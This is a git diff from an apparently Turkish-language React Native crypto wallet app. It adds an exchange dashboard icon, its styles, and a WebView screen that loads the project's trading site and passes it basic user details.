Research: undefined;
Exchange: undefined;
};
const Stack = createStackNavigator<RootStackParamList>();
@@ -432,6 +434,11 @@ const AppNavigator: React.FC = () => {
header: (props) => <SimpleHeader {...props} />,
}}
/>
<Stack.Screen
name="Exchange"
component={ExchangeScreen}
options={{ headerShown: false }}
/>
</>
)}
</Stack.Navigator>
+124 -2
View File
@@ -31,7 +31,8 @@ import { getKycStatus } from '../../shared/lib/kyc';
// Existing Quick Action Images (Reused)
import qaEducation from '../../../shared/images/quick-actions/qa_education.png';
import qaExchange from '../../../shared/images/quick-actions/qa_exchange.png';
import qaExchange from '../../../shared/images/quick-actions/qa_exchange.png'; // pez-DEX (Swap) için kullanılmaya devam
import { LinearGradient as ExchangeGradient } from 'expo-linear-gradient';
import qaForum from '../../../shared/images/quick-actions/qa_forum.jpg';
import qaGovernance from '../../../shared/images/quick-actions/qa_governance.jpg';
import qaTrading from '../../../shared/images/quick-actions/qa_trading.jpg';
@@ -245,6 +246,68 @@ const DashboardScreen: React.FC<DashboardScreenProps> = () => {
}));
};
/**
* Pezkuwi Exchange (CEX) için özel ikon — tasarlanmış logo
* Lacivert zemin + altın kandlestick grafik + güneş aksi
*/
const renderExchangeIcon = () => (
<TouchableOpacity
style={styles.appIconContainer}
onPress={() => navigation.navigate('Exchange')}
activeOpacity={0.7}
>
<ExchangeGradient
colors={['#0B1120', '#111827']}
style={styles.exchangeIconBox}
>
{/* Güneş ışınları — ufak noktalar çember üzerinde */}
{[0, 45, 90, 135, 180, 225, 270, 315].map((deg) => {
const rad = (deg * Math.PI) / 180;
return (
<View
key={deg}
style={[
styles.sunRay,
{
transform: [
{ translateX: Math.cos(rad) * 19 },
{ translateY: Math.sin(rad) * 19 },
],
},
]}
/>
);
})}
{/* Merkez güneş diski */}
<View style={styles.sunCore} />
{/* Kandlestick çubuklar — altın borsa grafiği */}
<View style={styles.candlesRow}>
{/* Çubuk 1 — düşen (kırmızı) */}
<View style={styles.candleWrap}>
<View style={[styles.candleWick, { backgroundColor: '#FF4D4F' }]} />
<View style={[styles.candleBody, { height: 10, backgroundColor: '#FF4D4F' }]} />
</View>
{/* Çubuk 2 — yükselen (yeşil) */}
<View style={styles.candleWrap}>
<View style={[styles.candleWick, { backgroundColor: '#52C41A' }]} />
<View style={[styles.candleBody, { height: 14, backgroundColor: '#52C41A' }]} />
</View>
{/* Çubuk 3 — yükselen büyük (altın) */}
<View style={styles.candleWrap}>
<View style={[styles.candleWick, { backgroundColor: '#F0A500' }]} />
<View style={[styles.candleBody, { height: 18, backgroundColor: '#F0A500' }]} />
</View>
</View>
{/* Altın çizgi kenarlık */}
<View style={styles.exchangeIconBorder} />
</ExchangeGradient>
<Text style={styles.appIconTitle} numberOfLines={1}>Borsa</Text>
</TouchableOpacity>
);
const renderAppIcon = (title: string, icon: string | ImageSourcePropType, onPress: () => void, isEmoji = false, comingSoon = false) => (
<TouchableOpacity
style={styles.appIconContainer}
@@ -503,7 +566,8 @@ const DashboardScreen: React.FC<DashboardScreenProps> = () => {
{renderAppIcon('Wallet', '👛', () => navigation.navigate('Wallet'), true)}
{renderAppIcon('Bank', qaBank, () => navigation.navigate('Bank'), false, true)}
{renderAppIcon('Exchange', qaExchange, () => navigation.navigate('Swap'), false)}
{renderExchangeIcon()}
{renderAppIcon('pez-DEX', qaExchange, () => navigation.navigate('Swap'), false)}
{renderAppIcon('P2P', qaTrading, () => navigation.navigate('P2P'), false)}
{renderAppIcon('B2B', qaB2B, () => navigation.navigate('B2B'), false, true)}
{renderAppIcon('Bac/Zekat', '📊', () => navigation.navigate('TaxZekat'), true)}
@@ -762,6 +826,64 @@ const styles = StyleSheet.create({
opacity: 0.5,
backgroundColor: '#F0F0F0',
},
// Pezkuwi Exchange (CEX) özel ikon stilleri
exchangeIconBox: {
width: 56,
height: 56,
borderRadius: 16,
justifyContent: 'center',
alignItems: 'center',
marginBottom: 6,
overflow: 'hidden',
position: 'relative',
},
exchangeIconBorder: {
position: 'absolute',
top: 0, left: 0, right: 0, bottom: 0,
borderRadius: 16,
borderWidth: 1.5,
borderColor: '#F0A500',
opacity: 0.6,
},
sunRay: {
position: 'absolute',
width: 3,
height: 3,
borderRadius: 1.5,
backgroundColor: '#F0A500',
opacity: 0.35,
},
sunCore: {
position: 'absolute',
width: 10,
height: 10,
borderRadius: 5,
backgroundColor: '#F0A500',
opacity: 0.5,
top: 9,
left: 23,
},
candlesRow: {
position: 'absolute',
bottom: 7,
flexDirection: 'row',
alignItems: 'flex-end',
gap: 3,
left: 10,
},
candleWrap: {
alignItems: 'center',
gap: 1,
},
candleWick: {
width: 1,
height: 5,
borderRadius: 1,
},
candleBody: {
width: 7,
borderRadius: 2,
},
imageIcon: {
width: 32,
height: 32,
+271
View File
@@ -0,0 +1,271 @@
import React, { useRef, useState, useCallback } from 'react';
import {
View,
Text,
TouchableOpacity,
StyleSheet,
ActivityIndicator,
BackHandler,
Platform,
} from 'react-native';
import { SafeAreaView } from 'react-native-safe-area-context';
import { WebView } from 'react-native-webview';
import { useFocusEffect } from '@react-navigation/native';
import { useAuth } from '../contexts/AuthContext';
const EXCHANGE_URL = 'https://exchange.pezkuwichain.io';
/**
* Pezkuwi Exchange (Borsa) — gerçek dünya CEX
* OKX kalitesinde spot trading, USDT/BTC/ETH/SOL/DOT/HEZ/PEZ
*
* Kendi JWT auth sistemine sahip; Supabase SSO enjeksiyonu gerekmez.
* Borsanın kendi login sayfasına yönlendirir.
*/
const ExchangeScreen: React.FC = () => {
const webViewRef = useRef<WebView>(null);
const [loading, setLoading] = useState(true);
const [canGoBack, setCanGoBack] = useState(false);
const [error, setError] = useState<string | null>(null);
const { user } = useAuth();
// Android geri tuşu — WebView geçmişinde geri git
useFocusEffect(
useCallback(() => {
const onBack = () => {
if (canGoBack && webViewRef.current) {
webViewRef.current.goBack();
return true;
}
return false;
};
const sub = BackHandler.addEventListener('hardwareBackPress', onBack);
return () => sub.remove();
}, [canGoBack])
);
// Mobil cihaz ve opsiyonel kullanıcı bilgisi enjekte et
const injectedJS = `
(function() {
window.PEZKUWI_MOBILE = true;
window.PEZKUWI_PLATFORM = '${Platform.OS}';
${user?.id ? `window.PEZKUWI_USER_ID = '${user.id}';` : ''}
${user?.email ? `window.PEZKUWI_USER_EMAIL = '${user.email}';` : ''}
true;
})();
`;
const handleReload = () => {
setError(null);
setLoading(true);
webViewRef.current?.reload();
};
if (error) {
return (
<SafeAreaView style={styles.container}>
<Header canGoBack={false} onGoBack={() => {}} onReload={handleReload} />
<View style={styles.errorBox}>
<Text style={styles.errorIcon}></Text>
<Text style={styles.errorTitle}>Bağlantı kurulamadı</Text>
<Text style={styles.errorMsg}>{error}</Text>
<TouchableOpacity style={styles.retryBtn} onPress={handleReload}>
<Text style={styles.retryText}>Yeniden Dene</Text>
</TouchableOpacity>
</View>
</SafeAreaView>
);
}
return (
<SafeAreaView style={styles.container} edges={['top']}>
<Header
canGoBack={canGoBack}
onGoBack={() => webViewRef.current?.goBack()}
onReload={handleReload}
/>
<WebView
ref={webViewRef}
source={{ uri: EXCHANGE_URL }}
style={styles.webView}
injectedJavaScript={injectedJS}
onLoadStart={() => setLoading(true)}
onLoadEnd={() => setLoading(false)}
onError={(e) => {
setError(e.nativeEvent.description || 'Sayfa yüklenemedi');
setLoading(false);
}}
onHttpError={(e) => {
if (e.nativeEvent.statusCode >= 500) {
setError(`Sunucu hatası: ${e.nativeEvent.statusCode}`);
}
}}
onNavigationStateChange={(s) => setCanGoBack(s.canGoBack)}
javaScriptEnabled
domStorageEnabled
sharedCookiesEnabled
thirdPartyCookiesEnabled
cacheEnabled
allowsBackForwardNavigationGestures
allowsInlineMediaPlayback
showsHorizontalScrollIndicator={false}
webviewDebuggingEnabled={__DEV__}
/>
{loading && (
<View style={styles.loadingOverlay}>
<ActivityIndicator size="large" color="#F0A500" />
<Text style={styles.loadingText}>Borsa yükleniyor...</Text>
</View>
)}
</SafeAreaView>
);
};
// ─── Header bileşeni ─────────────────────────────────────────
function Header({
canGoBack,
onGoBack,
onReload,
}: {
canGoBack: boolean;
onGoBack: () => void;
onReload: () => void;
}) {
return (
<View style={styles.header}>
{canGoBack ? (
<TouchableOpacity style={styles.headerBtn} onPress={onGoBack}>
<Text style={styles.headerBtnText}></Text>
</TouchableOpacity>
) : (
<View style={styles.headerBtn} />
)}
{/* Logo + başlık */}
<View style={styles.headerCenter}>
<View style={styles.headerLogoBox}>
<Text style={styles.headerLogoText}></Text>
</View>
<View>
<Text style={styles.headerTitle}>Pezkuwi Exchange</Text>
<Text style={styles.headerSub}>Borsa · Spot Trading</Text>
</View>
</View>
<TouchableOpacity style={styles.headerBtn} onPress={onReload}>
<Text style={styles.headerBtnText}></Text>
</TouchableOpacity>
</View>
);
}
// ─── Stiller ─────────────────────────────────────────────────
const styles = StyleSheet.create({
container: {
flex: 1,
backgroundColor: '#0B1120',
},
header: {
flexDirection: 'row',
alignItems: 'center',
justifyContent: 'space-between',
backgroundColor: '#0B1120',
borderBottomWidth: 1,
borderBottomColor: '#1A2035',
paddingHorizontal: 12,
paddingVertical: 10,
},
headerBtn: {
width: 36,
height: 36,
justifyContent: 'center',
alignItems: 'center',
},
headerBtnText: {
fontSize: 24,
color: '#F0A500',
fontWeight: '600',
},
headerCenter: {
flexDirection: 'row',
alignItems: 'center',
gap: 8,
},
headerLogoBox: {
width: 28,
height: 28,
borderRadius: 8,
backgroundColor: '#F0A500',
justifyContent: 'center',
alignItems: 'center',
},
headerLogoText: {
fontSize: 16,
color: '#0B1120',
fontWeight: '900',
},
headerTitle: {
fontSize: 14,
fontWeight: '700',
color: '#FFFFFF',
letterSpacing: 0.3,
},
headerSub: {
fontSize: 10,
color: '#8B9BB4',
letterSpacing: 0.2,
},
webView: {
flex: 1,
backgroundColor: '#0B1120',
},
loadingOverlay: {
...StyleSheet.absoluteFillObject,
backgroundColor: '#0B1120',
justifyContent: 'center',
alignItems: 'center',
gap: 12,
},
loadingText: {
color: '#8B9BB4',
fontSize: 14,
},
errorBox: {
flex: 1,
justifyContent: 'center',
alignItems: 'center',
padding: 32,
gap: 12,
},
errorIcon: {
fontSize: 48,
},
errorTitle: {
fontSize: 18,
fontWeight: '700',
color: '#FFFFFF',
},
errorMsg: {
fontSize: 13,
color: '#8B9BB4',
textAlign: 'center',
},
retryBtn: {
marginTop: 8,
backgroundColor: '#F0A500',
paddingHorizontal: 28,
paddingVertical: 12,
borderRadius: 10,
},
retryText: {
color: '#0B1120',
fontWeight: '700',
fontSize: 15,
},
});
export default ExchangeScreen;

Some files were not shown because too many files have changed in this diff Show More